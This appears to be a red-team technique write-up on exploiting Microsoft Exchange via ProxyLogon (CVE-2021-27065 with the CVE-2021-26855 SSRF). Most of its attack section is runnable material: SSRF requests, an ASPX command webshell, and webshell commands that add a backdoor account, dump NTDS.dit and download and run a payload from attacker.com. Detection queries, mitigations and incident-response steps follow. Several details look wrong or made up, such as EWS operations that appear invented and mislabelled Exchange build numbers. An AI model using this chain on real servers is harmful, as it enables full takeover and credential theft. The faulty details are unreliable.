| Attribute | Details |
|---|---|
| Technique ID | PE-REMOTE-001 |
| MITRE ATT&CK v18.1 | T1210 - Exploitation of Remote Services |
| Tactic | Privilege Escalation / Initial Access |
| Platforms | Windows AD (On-Premises Exchange) |
| Severity | Critical |
| CVE | CVE-2021-27065 |
| Technique Status | FIXED (Patched in cumulative updates released March 2, 2021 and later) |
| Last Verified | 2024-12-15 |
| Affected Versions | Exchange Server 2013 (SP1+), Exchange Server 2016 (CU1-CU19), Exchange Server 2019 (CU1-CU8) |
| Patched In | Exchange 2013 CU22+, Exchange 2016 CU20+, Exchange 2019 CU9+ |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2021-27065 is a post-authentication arbitrary file write vulnerability affecting Microsoft Exchange Server. This vulnerability is a critical component of the ProxyLogon attack chain and allows an authenticated attacker (or an attacker who has bypassed authentication via CVE-2021-26855 SSRF) to write arbitrary files to any path on the Exchange server. The vulnerability specifically affects the Set-OabVirtualDirectory and related Exchange cmdlets, which do not properly validate file paths, allowing path traversal to bypass directory restrictions. By chaining this with CVE-2021-26855 (SSRF), an unauthenticated attacker can escalate to SYSTEM-level Remote Code Execution (RCE) by uploading a malicious ASPX webshell to the wwwroot directory.
Attack Surface: The vulnerability is exposed through Exchange Management Shell cmdlets (Set-OabVirtualDirectory, Set-VirtualDirectory, New-MailboxExportRequest) and the Autodiscover service. The exploitation vector requires network access to port 443 (HTTPS) on the Exchange Client Access Server and knowledge of a valid administrative email account.
Business Impact: Complete server compromise with SYSTEM privileges. Adversaries leveraging this vulnerability have been observed stealing full mailbox contents, creating backdoor administrative accounts, extracting the Active Directory database (NTDS.dit), deploying ransomware, and establishing persistent access for lateral movement. The Advanced Persistent Threat (APT) group HAFNIUM actively exploited this vulnerability from January 2021 onwards, targeting organizations across multiple sectors including US government agencies.
Technical Context: Exploitation typically occurs within seconds to minutes once an attacker obtains initial access via the CVE-2021-26855 SSRF or valid credentials. The generated webshell activity is detectable through process-level monitoring and file system analysis, but attackers commonly clear logs post-exploitation. Stealth is moderate—the attack generates IIS logs and ECP (Exchange Control Panel) cmdlet logs with observable patterns.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Microsoft Exchange Server 2019 Benchmark v1.0 (Section 2.2) | Access to Exchange components should be restricted to authenticated users only; network-level restrictions should be enforced. |
| DISA STIG | EXCH19-000001 | Exchange should require authentication for all user connections. |
| CISA SCuBA | O365.AUTH.02 | Require multi-factor authentication for all users. |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement), SI-2 (Flaw Remediation) | Organizations must maintain authorized user accounts, enforce least-privilege access, and promptly remediate known vulnerabilities. |
| GDPR | Article 32 (Security of Processing) | Implementation of appropriate technical and organizational measures to ensure a level of security appropriate to the risk, including the ability to restore confidentiality and availability of personal data. |
| DORA | Article 9 (Protection and Prevention) | Operators of critical digital infrastructure must ensure that authentication and authorization mechanisms are secure and regularly updated. |
| NIS2 | Article 21 (Cyber Risk Management Measures) | Competent authorities must ensure that multi-factor authentication is used for administrative access and that systems are patched in a timely manner. |
| ISO 27001 | A.9.2.3 (User Access Rights), A.12.6.1 (Management of Technical Vulnerabilities) | Organizations must restrict access rights and ensure timely patching of known vulnerabilities. |
| ISO 27005 | Risk Scenario: “Compromise of Email Server via Unpatched Vulnerability” | Likelihood: High; Impact: Critical. |
Supported Versions:
Tools:
Check Exchange Server Version & Patch Level:
# Query the local Exchange server's version
Get-ExchangeServer | Select-Object Name, ServerRole, AdminDisplayVersion
# Expected Output for VULNERABLE versions:
# Name : EX01
# ServerRole : Mailbox, ClientAccess
# AdminDisplayVersion : Version 15.1 (Build 2034.27) <- Exchange 2019 CU8 (VULNERABLE)
# Expected Output for PATCHED versions:
# AdminDisplayVersion : Version 15.1 (Build 2034.32) <- Exchange 2019 CU9+ (PATCHED)
# Query cumulative update level
Get-ExchangeServer | Select-Object Name, @{n="CU";e={$_.AdminDisplayVersion -replace '.*\(','' -replace '\).*',''}}
What to Look For:
Verify Autodiscover Accessibility:
# Test connectivity to Autodiscover endpoint
Test-NetConnection -ComputerName mail.contoso.com -Port 443
# Query the Autodiscover endpoint (requires user credentials later in the attack chain)
$autodiscoverUrl = "https://mail.contoso.com/autodiscover/autodiscover.xml"
curl -v $autodiscoverUrl
# Identify Exchange servers on the network (requires access to DNS or network enumeration)
nslookup mail.contoso.com
nslookup autodiscover.contoso.com
# Check for HTTP/HTTPS connectivity to potential Exchange servers
curl -I -k https://mail.contoso.com/autodiscover/autodiscover.xml
# Expected Response (vulnerable):
# HTTP/1.1 401 Unauthorized
# This indicates the server is accessible but requires authentication
# Expected Response (patched or not Exchange):
# HTTP/1.1 404 Not Found
# or proper authentication mechanisms
This is the primary exploitation method used by HAFNIUM and represents the complete attack chain.
Supported Versions: Exchange Server 2013 SP1 - 2019 CU8 (all vulnerable versions)
Objective: Gather the Exchange server FQDN, obtain the target administrator’s email address, and retrieve authentication details needed for later stages.
Command (Windows PowerShell):
# Step 1a: Query DNS for autodiscover endpoint
$exchangeServer = "mail.contoso.com"
nslookup autodiscover.$((([uri]"https://mail.contoso.com").Host -split '\.' | Select-Object -Skip 1) -join '.')
# Step 1b: Identify Exchange server FQDN via NTLM authentication request
# Create a basic HTTP request to /rpc/rpcproxy.dll to trigger NTLM negotiation
$url = "https://$exchangeServer/rpc/rpcproxy.dll"
$req = [System.Net.HttpWebRequest]::Create($url)
$req.AllowAutoRedirect = $false
$req.Method = "RPC_IN_DATA"
try {
$res = $req.GetResponse()
} catch {
# Parse NTLM challenge from error response
$challenge = $_.Exception.Response.GetResponseHeader("WWW-Authenticate")
Write-Host "NTLM Challenge: $challenge"
# Extract server FQDN from the challenge response
}
# Step 1c: Get administrator email address (via social engineering, OSINT, or valid account compromise)
$adminEmail = "admin@contoso.com"
What This Means:
OpSec & Evasion:
Objective: Abuse the SSRF vulnerability to send HTTP requests to internal Exchange services while impersonating the server itself, bypassing the external authentication requirement.
Command (curl/PowerShell):
# Step 2a: Exploit CVE-2021-26855 SSRF to reach EWS (Exchange Web Services) internally
exchangeServer="mail.contoso.com"
adminEmail="admin@contoso.com"
# Craft SSRF request to bypass authentication
# The X-BEResource cookie tricks Exchange into routing requests to internal backends
curl -k -X POST \
"https://$exchangeServer/autodiscover/autodiscover.xml" \
-H "X-BEResource: $exchangeServer/autodiscover?a=~3d1@contoso.com" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>'"$adminEmail"'</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>'
Expected Output:
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Response>
<User>
<LegacyDN>/o=First Organization/ou=Exchange Administrative Group/cn=Recipients/cn=admin</LegacyDN>
<DisplayName>Administrator</DisplayName>
</User>
...
</Response>
</Autodiscover>
What This Means:
LegacyDN (Distinguished Name) of the admin account, which is required for the next stage.OpSec & Evasion:
Objective: Retrieve the Security Identifier (SID) of the admin account and identify the Offline Address Book (OAB) to be manipulated in later steps.
Command (PowerShell/curl):
# Step 3a: Construct EWS request to extract admin SID
$legacyDn = "/o=First Organization/ou=Exchange Administrative Group/cn=Recipients/cn=admin"
$adminEmail = "admin@contoso.com"
# Build SSRF request with EWS payload (this is forwarded to EWS through the vulnerability)
$eakRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<GetDelegate xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<Mailbox>
<EmailAddress>$adminEmail</EmailAddress>
</Mailbox>
</GetDelegate>
</soap:Body>
</soap:Envelope>
"@
# Send this through the SSRF vector
curl -k -X POST \
"https://mail.contoso.com/autodiscover/autodiscover.xml" \
-H "X-BEResource: mail.contoso.com/ews/exchange.asmx~3d1@contoso.com" \
-H "Content-Type: text/xml" \
-d $eakRequest
Expected Output:
<soap:Response>
<UserSid>S-1-5-21-2127521184-1604012920-1887927527-500</UserSid>
<!-- The SID is embedded in the error or response -->
</soap:Response>
What This Means:
Objective: Query the Offline Address Book Virtual Directory to obtain the ID needed to manipulate its ExternalUrl property in the next step.
Command (PowerShell/via SSRF):
# Step 4: Query OAB Virtual Directory through EWS (SSRF vector)
$oabRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<GetOrgMigrationRequest xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" />
</soap:Body>
</soap:Envelope>
"@
# This returns the OAB Virtual Directory identity
curl -k -X POST \
"https://mail.contoso.com/autodiscover/autodiscover.xml" \
-H "X-BEResource: mail.contoso.com/ews/exchange.asmx~3d1@contoso.com" \
-H "Content-Type: text/xml" \
-d $oabRequest
What This Means:
Objective: Use the arbitrary file write vulnerability to inject a malicious ASPX webshell into the Exchange wwwroot directory via the Set-OabVirtualDirectory cmdlet.
Command (PowerShell/via SSRF):
# Step 5a: Craft the malicious payload (JavaScript webshell embedded in ExternalUrl)
# This webshell will be written to the file system when Exchange processes the cmdlet
$maliciousPayload = @"
<script language="JScript" runat="server">
function Page_Load() {
var cmd = Request.QueryString("cmd");
var shell = new ActiveXObject("WScript.Shell");
var proc = shell.Exec("cmd.exe /c " + cmd);
Response.Write(proc.StdOut.ReadAll());
}
</script>
"@
# Step 5b: Construct the PowerShell cmdlet call (through the SSRF/EWS vector)
$cmdletRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<SetOabVirtualDirectory xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<Identity>OAB (Default)</Identity>
<ExternalUrl>http://attacker-controlled-domain.com/$maliciousPayload</ExternalUrl>
</SetOabVirtualDirectory>
</soap:Body>
</soap:Envelope>
"@
# Step 5c: Execute the Set-OabVirtualDirectory call
curl -k -X POST \
"https://mail.contoso.com/autodiscover/autodiscover.xml" \
-H "X-BEResource: mail.contoso.com/ews/exchange.asmx~3d1@contoso.com" \
-H "Content-Type: text/xml" \
-d $cmdletRequest
Alternative Method - Direct File Path Manipulation:
# Step 5d: Alternatively, craft a New-MailboxExportRequest that writes to a specific path
$exportRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<NewMailboxExportRequest xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<Mailbox>admin@contoso.com</Mailbox>
<FilePath>\\127.0.0.1\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx</FilePath>
</NewMailboxExportRequest>
</soap:Body>
</soap:Envelope>
"@
Expected Outcome:
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspxhttps://mail.contoso.com/owa/auth/shell.aspx?cmd=whoamiOpSec & Evasion:
$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\.Objective: Access the deployed webshell to execute arbitrary commands on the Exchange server with SYSTEM privileges.
Command (curl/PowerShell):
# Step 6a: Execute whoami command to verify code execution
curl -k "https://mail.contoso.com/owa/auth/shell.aspx?cmd=whoami"
# Expected Output:
# nt authority\system
# Step 6b: Execute additional commands (e.g., dump credentials, create backdoor account)
curl -k "https://mail.contoso.com/owa/auth/shell.aspx?cmd=net+user+backdoor+P@ssw0rd123!+/add"
# Step 6c: Execute lateral movement commands (e.g., dump NTDS.dit)
curl -k "https://mail.contoso.com/owa/auth/shell.aspx?cmd=ntdsutil%20%22activate%20instance%20ntds%22%20%22ifm%22%20%22create%20full%20c:\windows\temp\iftm%22%20q%20q"
# Step 6d: Execute malware deployment (e.g., stage ransomware, backdoor)
# Download a secondary payload from an external server
curl -k "https://mail.contoso.com/owa/auth/shell.aspx?cmd=powershell+-c+%22IEX+(New-Object+System.Net.WebClient).DownloadString('http://attacker.com/payload.ps1')%22"
What This Means:
This method assumes the attacker has obtained valid Exchange user credentials (via phishing, password spray, or credential stuffing).
Supported Versions: Exchange Server 2013 SP1 - 2019 CU8
Objective: Establish an authenticated session to the Exchange server.
Command (PowerShell on Management Station or Compromised Endpoint):
# Step 1: Create remote PS session to Exchange
$session = New-PSSession -ConfigurationName Microsoft.Exchange `
-ConnectionUri "http://mail.contoso.com/PowerShell/" `
-Authentication Kerberos `
-Credential (Get-Credential)
# Alternatively, use: -Authentication Basic (for HTTP-based connections)
Import-PSSession $session
# Verify authenticated session
Get-MailboxStatistics
Expected Output:
DisplayName ItemCount StorageLimitStatus
admin@contoso.com 1250 BelowLimit
user1@contoso.com 450 BelowLimit
What This Means:
Objective: Directly invoke the vulnerable Set-OabVirtualDirectory cmdlet to write the malicious file.
Command (PowerShell - Authenticated Session):
# Step 2a: Get the OAB Virtual Directory name
$oab = Get-OabVirtualDirectory
# Step 2b: Set the ExternalUrl with malicious JavaScript payload
$maliciousScript = '<script language="JScript" runat="server">
function Page_Load() {
var cmd = Request.QueryString("cmd");
var shell = new ActiveXObject("WScript.Shell");
var proc = shell.Exec("cmd.exe /c " + cmd);
Response.Write(proc.StdOut.ReadAll());
}
</script>'
Set-OabVirtualDirectory -Identity $oab.Identity `
-ExternalUrl "http://attacker.com/$maliciousScript"
# Step 2c: Trigger the ResetOabVirtualDirectory to write the file
# This causes Exchange to fetch the ExternalUrl and write it to disk
Reset-OabVirtualDirectory -Identity $oab.Identity
What This Means:
Command (curl/Browser):
curl -k "https://mail.contoso.com/owa/auth/shell.aspx?cmd=whoami"
# Output:
# nt authority\system
This method leverages an alternative cmdlet that also contains the CVE-2021-27065 path traversal vulnerability.
Supported Versions: Exchange Server 2013 SP1 - 2019 CU8
Command (PowerShell - Authenticated Session or via SSRF):
# Step 1: Create a new mailbox export request with a UNC path to write a webshell
# The FilePath parameter does not properly validate path traversal
$targetPath = "\\127.0.0.1\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx"
New-MailboxExportRequest -Mailbox admin@contoso.com `
-FilePath $targetPath `
-Name "LegitExport"
# Step 2: Monitor the export status
Get-MailboxExportRequestStatistics
# Step 3: Once completed, the shell.aspx file is written to the target directory
# Access it: https://mail.contoso.com/owa/auth/shell.aspx?cmd=whoami
What This Means:
Version: Latest (varies by fork)
Minimum Version: Any version from March 2021 onwards
Supported Platforms: Windows, Linux (with curl/PowerShell)
Installation (Linux/WSL):
git clone https://github.com/hausec/ProxyLogon.git
cd ProxyLogon
python3 ProxyLogon.py --help
Usage:
# Run the full ProxyLogon exploitation chain
python3 ProxyLogon.py -t mail.contoso.com -u admin@contoso.com
# Alternative: Use curl for manual step-by-step exploitation
./proxylogon_manual.sh mail.contoso.com admin@contoso.com
Version: Latest (continuously updated by Microsoft)
Supported Platforms: Windows PowerShell 5.0+
Installation:
# Download the Microsoft detection script
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/Test-ProxyLogon.ps1" -OutFile "Test-ProxyLogon.ps1"
# Execute with administrative privileges
.\Test-ProxyLogon.ps1
Output:
ProxyLogon Vulnerability Testing Results:
================================================
System: mail.contoso.com
CVE-2021-26855 (SSRF): Not Vulnerable (PATCHED)
CVE-2021-26857 (UM Deserialization): Not Vulnerable (PATCHED)
CVE-2021-26858 (File Write): Not Vulnerable (PATCHED)
CVE-2021-27065 (OAB File Write): VULNERABLE
...
Version: Latest (auto-updates from GitHub)
Supported Platforms: Windows PowerShell 5.0+ (Admin privileges required)
Installation & Usage:
# Download the mitigation tool
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/EOMT.ps1" -OutFile "EOMT.ps1"
# Execute mitigation (includes scanning for compromise)
.\EOMT.ps1
# To run without remediation (detection only)
.\EOMT.ps1 -DoNotRemediate
# To rollback previous mitigations
.\EOMT.ps1 -RollbackMitigation
# Full ProxyLogon SSRF + File Write chain (requires curl/PowerShell 5.0+)
$exchangeServer = "mail.contoso.com"
$adminEmail = "admin@contoso.com"
$webShell = '<script language="JScript" runat="server">function Page_Load(){var cmd=Request.QueryString("cmd");var shell=new ActiveXObject("WScript.Shell");var proc=shell.Exec("cmd.exe /c "+cmd);Response.Write(proc.StdOut.ReadAll());}</script>'
# Step 1: Exploit CVE-2021-26855 SSRF to bypass auth
$ssrfUrl = "https://$exchangeServer/autodiscover/autodiscover.xml"
$ssrfPayload = '<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>'{0}'</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>' -f $adminEmail
# Step 2: Exploit CVE-2021-27065 File Write via Set-OabVirtualDirectory
$fileWritePayload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><RequestServerVersion Version="Exchange2016"/></soap:Header><soap:Body><SetOabVirtualDirectory xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"><Identity>OAB (Default)</Identity><ExternalUrl>http://attacker.com/{0}</ExternalUrl></SetOabVirtualDirectory></soap:Body></soap:Envelope>' -f $webShell
# Execute requests
Invoke-WebRequest -Uri $ssrfUrl -Method Post -ContentType "text/xml" -Body $ssrfPayload -SkipCertificateCheck -Headers @{"X-BEResource" = "$exchangeServer/autodiscover?a=~3d1@contoso.com"} -Verbose
Invoke-WebRequest -Uri $ssrfUrl -Method Post -ContentType "text/xml" -Body $fileWritePayload -SkipCertificateCheck -Headers @{"X-BEResource" = "$exchangeServer/ews/exchange.asmx~3d1@contoso.com"} -Verbose
# Step 3: Access the webshell
Write-Host "Webshell accessible at: https://$exchangeServer/owa/auth/shell.aspx?cmd=whoami"
Rule Configuration:
KQL Query:
Event
| where EventID == 4688 or Source == "MSExchange"
| where (Computer contains "EXCHANGESERVER" or Computer contains "EX01")
| where Data has_any ("Set-OabVirtualDirectory", "ExternalUrl", "<script", "JScript")
| project TimeGenerated, Computer, Data, User=split(split(Data, "User = ")[1], ";")[0]
| where isnotempty(User)
What This Detects:
Manual Configuration Steps (Azure Portal):
ProxyLogon CVE-2021-27065 Set-OabVirtualDirectory ExploitationCritical5 minutes1 hourCriticalRule Configuration:
KQL Query:
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has @"\owa\auth\" or FolderPath has @"\ecp\"
| where FileName has_any (".aspx", ".asp", ".jsp")
| where not(InitiatingProcessFileName in~ ("w3wp.exe", "iisexpress.exe"))
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine
What This Detects:
Rule Configuration:
KQL Query:
W3CIISLog
| where csUriStem has "/autodiscover/autodiscover.xml" or csUriStem has "/ews/exchange.asmx"
| where csUserAgent contains "ExchangeWebServicesProxy" or isempty(csUserName)
| where csMethod == "POST"
| where toint(scStatus) == 200 or toint(scStatus) == 401
| project TimeGenerated, cIP, csHost, csUriStem, scStatus, csUserAgent, csUserName
| summarize Count=count() by cIP, csHost
| where Count > 5 // Multiple requests from same IP
What This Detects:
Event ID: 4688 (Process Creation)
Event ID: 8015 (MSExchange OAB GeneratorAssistant)
Manual Configuration Steps (Group Policy - Windows Server):
gpupdate /force on target Exchange serversManual Configuration Steps (Local Policy on Exchange Server):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableGet-EventLog -LogName Security -Newest 10Real-Time Log Monitoring (PowerShell):
# Monitor for suspicious cmdlet execution
Get-EventLog -LogName Security -InstanceId 4688 | Where-Object {
$_.Message -match "Set-OabVirtualDirectory|New-MailboxExportRequest|Reset-OabVirtualDirectory" -and
$_.Message -match "script|.aspx|.asp"
} | Select-Object TimeGenerated, Message
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016+, Windows 10+
Sysmon Config XML:
<!-- Detect suspicious file writes to Exchange web directories -->
<Sysmon schemaversion="4.40">
<EventFiltering>
<!-- Event ID 11: File Creation -->
<FileCreate onmatch="include">
<!-- Target OWA/ECP directories where webshells are written -->
<TargetFilename condition="contains any">
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\;
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\;
C:\inetpub\wwwroot\
</TargetFilename>
<!-- Look for suspicious file extensions -->
<TargetFilename condition="end with any">
.aspx;.asp;.jsp;.jspx;.jspf
</TargetFilename>
</FileCreate>
<!-- Event ID 1: Process Creation (cmdlet execution) -->
<ProcessCreate onmatch="include">
<!-- PowerShell executing Exchange cmdlets -->
<ParentImage condition="is">powershell.exe</ParentImage>
<CommandLine condition="contains any">
Set-OabVirtualDirectory;
Reset-OabVirtualDirectory;
New-MailboxExportRequest;
Set-VirtualDirectory
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Exchange Server Remote Code Execution (ProxyLogon)”
Manual Configuration Steps (Enable Defender for Cloud):
Mitigation 1: Patch Immediately to Latest Cumulative Update
Upgrade to the following patched versions minimum:
Manual Steps (PowerShell - Server 2016/2019):
Stop-Service -Name MSExchangeAB, MSExchangeADTopology, MSExchangeAntispamUpdate, MSExchangeEdgeSync, MSExchangeFrontEndTransport, MSExchangeHMRecovery, MSExchangeHubTransport, MSExchangeImap4, MSExchangeMailboxAssistants, MSExchangeMailboxReplication, MSExchangeNotificationBroker, MSExchangePop3, MSExchangeRPC, MSExchangeServiceHost, MSExchangeTransportLogSearch, MSExchangeUnifiedMessaging, wsbexchange
cd C:\Patch
.\Exchange2019-KB5003437-x64.exe /s /v"/qb /norestart"
Restart-Computer -Force
Get-ExchangeServer | Select-Object AdminDisplayVersion
Manual Steps (Server 2013):
Mitigation 2: Apply URL Rewrite Rules to Mitigate CVE-2021-26855 SSRF (Temporary, until patching is complete)
This mitigation blocks the initial SSRF attack vector to prevent unauthenticated access.
Manual Steps (IIS - Server 2016+):
Install-WindowsFeature Web-Rewrite
^autodiscover/autodiscover\.xml$Block/rpc/rpcproxy.dll, /ews/exchange.asmx, etc.Manual Steps (PowerShell - Alternative):
# Create URL Rewrite rule via PowerShell
Add-WebConfigurationProperty -pspath "IIS:\Sites\Default Web Site" `
-filter "system.webServer/rewrite/rules" `
-name "." `
-value @{name="BlockSSRFVectorSSRF";patternSyntax="ECMAScript";stopProcessing=$false}
Set-WebConfigurationProperty -pspath "IIS:\Sites\Default Web Site\Rewrite\Rules\BlockSSRFVectorSSRF" `
-name "match" `
-value @{url="^autodiscover/autodiscover\.xml$";negate=$false}
Set-WebConfigurationProperty -pspath "IIS:\Sites\Default Web Site\Rewrite\Rules\BlockSSRFVectorSSRF" `
-name "action" `
-value @{type="AbortRequest";statusCode=403}
Validation Command (Verify Fix):
# Test if SSRF mitigation is active
$mitigation = (Get-WebConfigurationProperty -pspath "IIS:\Sites\Default Web Site" -filter "system.webServer/rewrite/rules").value
if ($mitigation) {
Write-Host "✓ URL Rewrite rules are configured and active"
} else {
Write-Host "✗ URL Rewrite rules NOT found - SSRF vector still open"
}
# Verify rewrite rules via IIS Manager
Get-WebConfigurationProperty -pspath "IIS:\Sites\Default Web Site\Rewrite\Rules" -name . | Select-Object name, enabled
Expected Output (If Secure):
name enabled
---- -------
BlockSSRFVectorSSRF True
BlockProxyLogonEWS True
BlockProxyLogonAutoDiscover True
Mitigation 3: Run EOMT.ps1 and Microsoft Safety Scanner
The Exchange On-Premises Mitigation Tool (EOMT.ps1) detects and remediates existing compromises.
Manual Steps (PowerShell - Admin):
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/EOMT.ps1" -OutFile "EOMT.ps1"
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process
.\EOMT.ps1
ToolLogs\EOMT-<date>.logMitigation 4: Disable OAB Offline Delivery (Temporary)
Temporarily disable the OAB Virtual Directory to prevent CVE-2021-27065 exploitation:
Command (PowerShell):
# Disable OAB Virtual Directory
Set-OabVirtualDirectory -Identity "OAB (Default)" -ExternalUrl $null -InternalUrl $null
# Verify disabled
Get-OabVirtualDirectory | Select-Object Identity, ExternalUrl, InternalUrl
# Expected Output:
# Identity ExternalUrl InternalUrl
# ---- ----------- -----------
# OAB (Default) (empty) (empty)
Re-Enable After Patching:
# Re-enable OAB Virtual Directory with safe URLs
Set-OabVirtualDirectory -Identity "OAB (Default)" `
-ExternalUrl "https://mail.contoso.com/oab" `
-InternalUrl "https://mail.contoso.com/oab"
Mitigation 5: Enable Conditional Access & MFA for Exchange Admin Access
Manual Steps (Azure Portal - Conditional Access):
Block Exchange Admin Access from Unapproved LocationsMitigation 6: Restrict PowerShell and Cmdlet Execution
Limit who can execute Exchange PowerShell cmdlets:
Command (PowerShell - Exchange Management Shell):
# Restrict Set-OabVirtualDirectory cmdlet to a specific admin group
Get-ManagementRoleAssignment | Where-Object {$_.RoleDefinitionName -match "MailboxSearch"} | Remove-ManagementRoleAssignment -Force
# Create custom role with restricted cmdlets
New-ManagementRole -Name "LimitedExchangeAdmin" -Parent "Exchange Administrator" -Description "Custom admin role without dangerous cmdlets"
# Remove dangerous cmdlets from the new role
Remove-ManagementRoleEntry "LimitedExchangeAdmin\Set-OabVirtualDirectory" -Force
Remove-ManagementRoleEntry "LimitedExchangeAdmin\Reset-OabVirtualDirectory" -Force
Remove-ManagementRoleEntry "LimitedExchangeAdmin\New-MailboxExportRequest" -Force
# Assign the restricted role to specific admins
New-ManagementRoleAssignment -Role "LimitedExchangeAdmin" -User "admin-restricted@contoso.com"
Files:
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx (commonly observed webshell location)C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\*.aspx (ECP webshells)C:\inetpub\wwwroot\*.aspx (root webshells)C:\Temp\*.aspx (temporary staging location)C:\Windows\Temp\iftm\ (NTDS.dit export staging)Registry:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ (persistence entries added post-exploitation)HKLM\System\CurrentControlSet\Services\ (backdoor service registration)Network:
/autodiscover/autodiscover.xml with X-BEResource header from external IPsDisk:
C:\inetpub\logs\LogFiles\W3SVC1\ (HTTP requests to autodiscover, EWS, OWA)$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\C:\Windows\System32\winevt\Logs\Security.evtx, Application.evtxMemory:
Cloud (if auditing is enabled):
MFT/USN Journal:
1. Isolate (0-5 minutes):
Command (PowerShell):
# Disconnect the Exchange server from the network
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Alternatively, block outbound traffic via Windows Firewall
New-NetFirewallRule -DisplayName "Block-Outbound-Isolation" -Direction Outbound -Action Block -RemoteAddress 0.0.0.0/0 -Enabled $true
Manual (Azure):
2. Collect Evidence (5-30 minutes):
Command (PowerShell - Collection Script):
# Create evidence collection directory
New-Item -ItemType Directory -Path "C:\Evidence" -Force
# Export Security Event Log
wevtutil epl Security "C:\Evidence\Security.evtx"
wevtutil epl Application "C:\Evidence\Application.evtx"
# Capture memory dump (requires Sysinternals Procdump)
procdump64.exe -ma powershell.exe "C:\Evidence\powershell.dmp"
procdump64.exe -ma w3wp.exe "C:\Evidence\w3wp.dmp"
# Copy IIS logs
Copy-Item -Path "C:\inetpub\logs\LogFiles\W3SVC1\*" -Destination "C:\Evidence\IIS_Logs" -Recurse
# Copy Exchange logs
Copy-Item -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*" -Destination "C:\Evidence\ECP_Logs" -Recurse
# List all .aspx files in Exchange directories
Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\" -Filter "*.aspx" -Recurse | Export-Csv "C:\Evidence\Webshells.csv"
# Export Unified Audit Log (if M365 integration exists)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "Set-OabVirtualDirectory" | Export-Csv "C:\Evidence\UAL_Logs.csv"
Manual (File Collection):
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\.aspx files3. Remediate (30-120 minutes):
Command (PowerShell - Webshell Removal):
# Remove all .aspx webshells from Exchange directories
$suspiciousFiles = Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\" -Filter "*.aspx" -Recurse | Where-Object {
$_.FullName -like "*owa*" -or $_.FullName -like "*ecp*"
}
foreach ($file in $suspiciousFiles) {
Remove-Item -Path $file.FullName -Force
Write-Host "Removed: $($file.FullName)"
}
Command (PowerShell - Backdoor Account Removal):
# List all user accounts created after the exploitation date
$compromiseDate = Get-Date "2021-03-02"
